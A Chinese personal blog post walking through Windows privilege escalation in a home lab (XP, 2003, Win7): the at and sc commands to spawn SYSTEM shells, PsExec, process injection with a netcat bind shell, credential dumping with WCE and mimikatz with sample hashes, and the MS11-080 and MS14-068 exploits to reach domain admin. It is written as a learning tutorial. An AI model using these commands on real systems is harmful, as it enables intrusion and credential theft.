f10@t's blog

本地提权与漏洞提权

字数统计: 2.7k阅读时长: 10 min
2020/01/08

获取shell --> 本地提权 or 利用漏洞提权

Windows 账号概念

一般系统都是多用户,会根据不同的应用程序的需求赋予其相应的权限大小,从安全角度来说,只应赋予其满足需求的最小权限即可,Windows下的管理员账号为Administrator,类UNIX下为root。

而系统账号有两种,用户账号和服务账号,用户账号在登陆时会获取一个权限令牌,注销或关机时会销毁,每一次的令牌是不同的;服务账号则无需用户登录,在操作系统启动时就会在后台启动该服务,比如Mysql等数据库使用的特定账号,都是和用户账号分开来使用的,不建议使用用户账号作为服务的账号,这样是不安全的。

其次Windows下默认有以下类型的账号:AdiministratoruserSYSTEM(较为特殊,用于启动运行系统内核级别的权限功能,如操作注册表项等)。

所以Windows提权要提到Administrator,若权限还不够就需要提权至SYSTEM(所有权)。前两者(administrator、user)所拥有的的权限不完全包含在System账号中的,但是user的权限是包含在Administrator中的。

提权

以下的实验演示均为Windows环境下的,涉及win2k3, winXPSP3, Win7SP1。其中的域提权的实验(MS11-080)中拓扑很简单,win2k3作为域控,win7SP1, WinXPSP3作为域机,kali为攻击机无需加入域。

本地提权

条件:已经实现本地低权限账号登陆已获得shell(通过远程溢出、直接获得账号密码等手段)

使用at命令

Windows的at命令是用来设置定时任务用的,特点是新建的任务的所创建者是SYSTEM账号。使用格式为:at [time] /interactive [cmd]time为执行任务的时间,/interactive意思是交互模式,不要后台运行,cmd为要执行的命令,从下图可以看到,使用前我只是本机xp1的一个普通用户float,执行任务后打开的cmd中,我的身份已经变为了SYSTEM权限。   

这个命令在WIN7,WIN8及以后已经去掉了。

新建explorer进程(配合at命令)

explorer.exe是Windows程序管理器或者文件资源管理器,它用于管理Windows图形壳,包括桌面和文件管理,删除该程序会导致Windows图形界面无法使用。我们可以使用上述的at命令打开一个新的cmd后使用taskmgr(任务管理器)杀掉当前的explorer进程,然后新建一个explorer进程,这时候就可以登录到管理员账号了。

可以看到进程的归属者是我float这个普通的用户,现在将他杀掉:

可以看到桌面消失,现在新建一个explorer.exe:

可以看到这时候的所属者已经变为了SYSTEM:

再打开cmd使用whoami可以发现提权成功:

使用sc命令

sc命令常用于新建一个系统服务或创建、编辑、调整现有的服务,应该是service的缩写吧。

使用命令sc Create syscmd binpath= "cmd /K start" type=own type=interact可以新建一个名为syscmd的系统服务,具体执行内容为打开一个cmd(/K start意思是新建一个窗口),当然这时候的cmd.exe的进程所属者就是SYSTEM了,然后使用命令sc start syscmd启动创建的系统服务就可以了。

使用SysInternal Suite

下载地址。这个套件中包含了大量的可使用的小工具。

这里可以使用PsExec.exe -i -s cmd来获取一个SYSTEM权限的cmd。PsExec.exe的功能:

PsExec executes a program on a remote system, where remotely executed console applications execute interactively.

即执行一个程序,这里的核心参数是-s。即以SYSTEM权限来运行这个程序:

-s Run the remote process in the System account.

效果:

注入进程

将自己的进程注入到现已存在的SYSTEM进程中,实现提权。特点:隐蔽痕迹,可以提为不同权限。这里使用的工具是pinjector.exe,下载地址。界面:

1
2
3
4
5
6
7
C:\Documents and Settings\float\桌面\Process Injector>pinjector.exe
Privilege Switcher for Win32(Private version)
(c) 2006 Andres Tarasco - atarasco@gmail.com

Usage:
inject.exe -l (Enumerate Credentials)
inject.exe -p <pid> <cmd> <port> (Inject into PID)
我们只需要使用-p 参数,指定一个所属者为SYSTEM账号的进程,再指定要提供给外部连接的端口号即可。这里我选取了一个SYSTEM下的svchost.exe

再使用nc去连接他可以发现获得的shell权限是SYSTEM级别的:

直接获取账号密码

这里列出两种手段,主要目的都是获取密码:

  • 嗅探
  • 使用WCE(Windows Credential Editor)。

下面主要讲解WCE的用法和原理,嗅探这里省略(ps:安利一个抓包工具Omnipeek,辣是真的好用,比wireshark多了好多功能特性)

kali中自带wce工具,具体位置为:/usr/share/windows-resources/wce里面有32位和64位,以及一个自动判断位数的版本,拷出来到winXP中使用。这个工具的主要原理是从内存中的安全包(security package)中获取明文密码信息,不同于mimikatz这种从SAM文件中获取的方式,后者只能获取到密文,但是WCE是可以获取到明文密码的。

使用条件:获取到管理员权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:\Documents and Settings\float\桌面>wce-universal.exe -h
WCE v1.41beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa (hernan
@ampliasecurity.com)
Use -h for help.
Options:
-l List logon sessions and NTLM credentials (default).
-s Changes NTLM credentials of current logon session.
Parameters: <UserName>:<DomainName>:<LMHash>:<NTHash>.
-r Lists logon sessions and NTLM credentials indefinitely.
Refreshes every 5 seconds if new sessions are found.
Optional: -r<refresh interval>.
-c Run <cmd> in a new session with the specified NTLM credentials.
Parameters: <cmd>.
-e Lists logon sessions NTLM credentials indefinitely.
Refreshes every time a logon event occurs.
-o saves all output to a file.
Parameters: <filename>.
-i Specify LUID instead of use current logon session.
Parameters: <luid>.
-d Delete NTLM credentials from logon session.
Parameters: <luid>.
-a Use Addresses.
Parameters: <addresses>
-f Force 'safe mode'.
-g Generate LM & NT Hash.
Parameters: <password>.
-K Dump Kerberos tickets to file (unix & 'windows wce' format)
-k Read Kerberos tickets from file and insert into Windows cache
-w Dump cleartext passwords stored by the digest authentication package
-v verbose output.

最常用的参数就是-w了,可以直接获取明文密码,其他常用参数如-l用来列举当前机器中的所有用户密码哈希值,-s用于更改用户的密码(容易被用户发觉)。

他的工作方式有两种:非安全模式和安全模式,这个程序主要是通过注入代码的形式来查找密码,非安全模式即注入的代码可能会注入到了操作系统在内存中的部分,导致操作系统崩溃等现象。下面是-w的结果:

1
2
3
4
5
6
7
8
9
10
11
C:\Documents and Settings\float\桌面>wce-universal.exe -w
WCE v1.41beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa (hernan
@ampliasecurity.com)
Use -h for help.


float\XP1:*********(明文密码)
NETWORK SERVICE\LAB:9J9y2S]IBx<aqM<n"Mz.AZz-qW>u)0VxAAXJ9bcQHOAg$)f2? 8#g_<$6guK6P/UG-sK@f&b_r6*Orw4
.JB,H5(c)9SJk%I=Hp6KfKM9)^ev Jn"//cM"B"&
XP1$\LAB:9J9y2S]IBx<aqM<n"Mz.AZz-qW>u)0VxAAXJ9bcQHOAg$)f2? 8#g_<$6guK6P/UG-sK@f&b_r6*Orw4.JB,H5(c)9S
Jk%I=Hp6KfKM9)^ev Jn"//cM"B"&

WCE防护方法:修改注册表中LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Security Package的键值即可

同样适用mimikatz也可以抓取到密码(因为配置了域所以有kerberos的密码):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 515653 (00000000:0007de45)
Session : Interactive from 0
User Name : float
Domain : XP1
Logon Server : XP1
Logon Time : 2020-1-8 14:10:39
SID : S-1-5-21-796845957-1425521274-682003330-1003
msv :
[00000002] Primary
* Username : float
* Domain : XP1
* LM : 2df24fa3b01532639fc401e80d6c3cbb
* NTLM : fb5ee6d602ea936c8ff6a202c0079396
* SHA1 : da7d338ee863c12efc1b6f80e298c577b39eb2a9
wdigest :
* Username : float
* Domain : XP1
* Password : ******(明文密码)
kerberos :
* Username : float
* Domain : XP1
* Password : ******(明文密码)
ssp :
credman :

......

利用漏洞提权

很多漏洞在exploitdb,rapid7等这些公开的漏洞库中都有利用的代码,如果发现有该漏洞的话就可以直接利用了。

这里展示两个漏洞的使用,一个是MS11-080(辅助功能驱动程序中的漏洞可能允许特权提升),另一个是域环境下的MS14-068。这两个也属于本地提权的范畴

MS11-080

可以在这里看微软的说明文档以及补丁下载,这个网站下还有其他的漏洞说明可以供你查看。在kali中使用searchsploit查找有没有漏洞的利用代码(ps:不是叫searchexploit嘛,换名了??)

将py文件拷贝出来放到xp机器里运行就可以了,可以看到我的身份变为了SYSTEM级别(红色背景是脚本设置的):

MS14-068

利用这个漏洞,可以在域内的任意一台普通电脑中获得域控权限,可以控制这个域内的所有计算机,前提是先获取本机的管理员权限

上面那些手段都是可以达到获取本机管理员权限这个目的的。这里说明一下,这个漏洞的利用实测在Windows XP SP3上是失败的,但是可以在Windows 7 SP3上提权成功。XP的结果如图:

环境说明

这里使用win2k3创建了一个名为lab.com的域环境,域控的主机名为main.lab.com。域内有两台主机,分别为xp1@lab.com(WinXPSp3)和win7@lab.com(Win7SP1)。

在Win7SP1上,本机的管理员账号为float,在域lab.com中的用户名为win7。

下面的实验结果是域中的win7主机登陆域中的win7账号(普通账号)后,使用kali主机利用ms14-068漏洞获取TGT票据,再将该票据拷贝至win7主机上,使用mimikatz的kerberos模块下的ptc功能将本机提权至域控。

利用过程

首先使用win2k3创建一个域环境,这里省略这一步骤,网上的教程很多。我们使用本机的管理员账号登陆(float)本机环境,加入域环境:

在win2k3域控上为win7主机分配一个新用户,结果(最下面的win7用户):

在WIN7主机上使用whoami /all命令查看自己的SID,并在kali主机中使用利用代码生成票据:

下面将票据拷贝到win7主机上,使用mimikatz进行提权,并尝试访问域控的管理员目录:

可以看到注入票据成功,提权成功,成功访问了域控管理员才能访问的资源。下面是提取前访问资源的结果:

进一步证明我们提权为了域控管理员(域控的IP为10.10.10.130),访问域控机器的C盘:   

访问域控机器的注册表:

CATALOG
  1. 1. Windows 账号概念
  2. 2. 提权
    1. 2.1. 本地提权
      1. 2.1.1. 使用at命令
      2. 2.1.2. 新建explorer进程(配合at命令)
      3. 2.1.3. 使用sc命令
      4. 2.1.4. 使用SysInternal Suite
      5. 2.1.5. 注入进程
      6. 2.1.6. 直接获取账号密码
    2. 2.2. 利用漏洞提权
      1. 2.2.1. MS11-080
      2. 2.2.2. MS14-068
        1. 2.2.2.1. 环境说明
      3. 2.2.3. 利用过程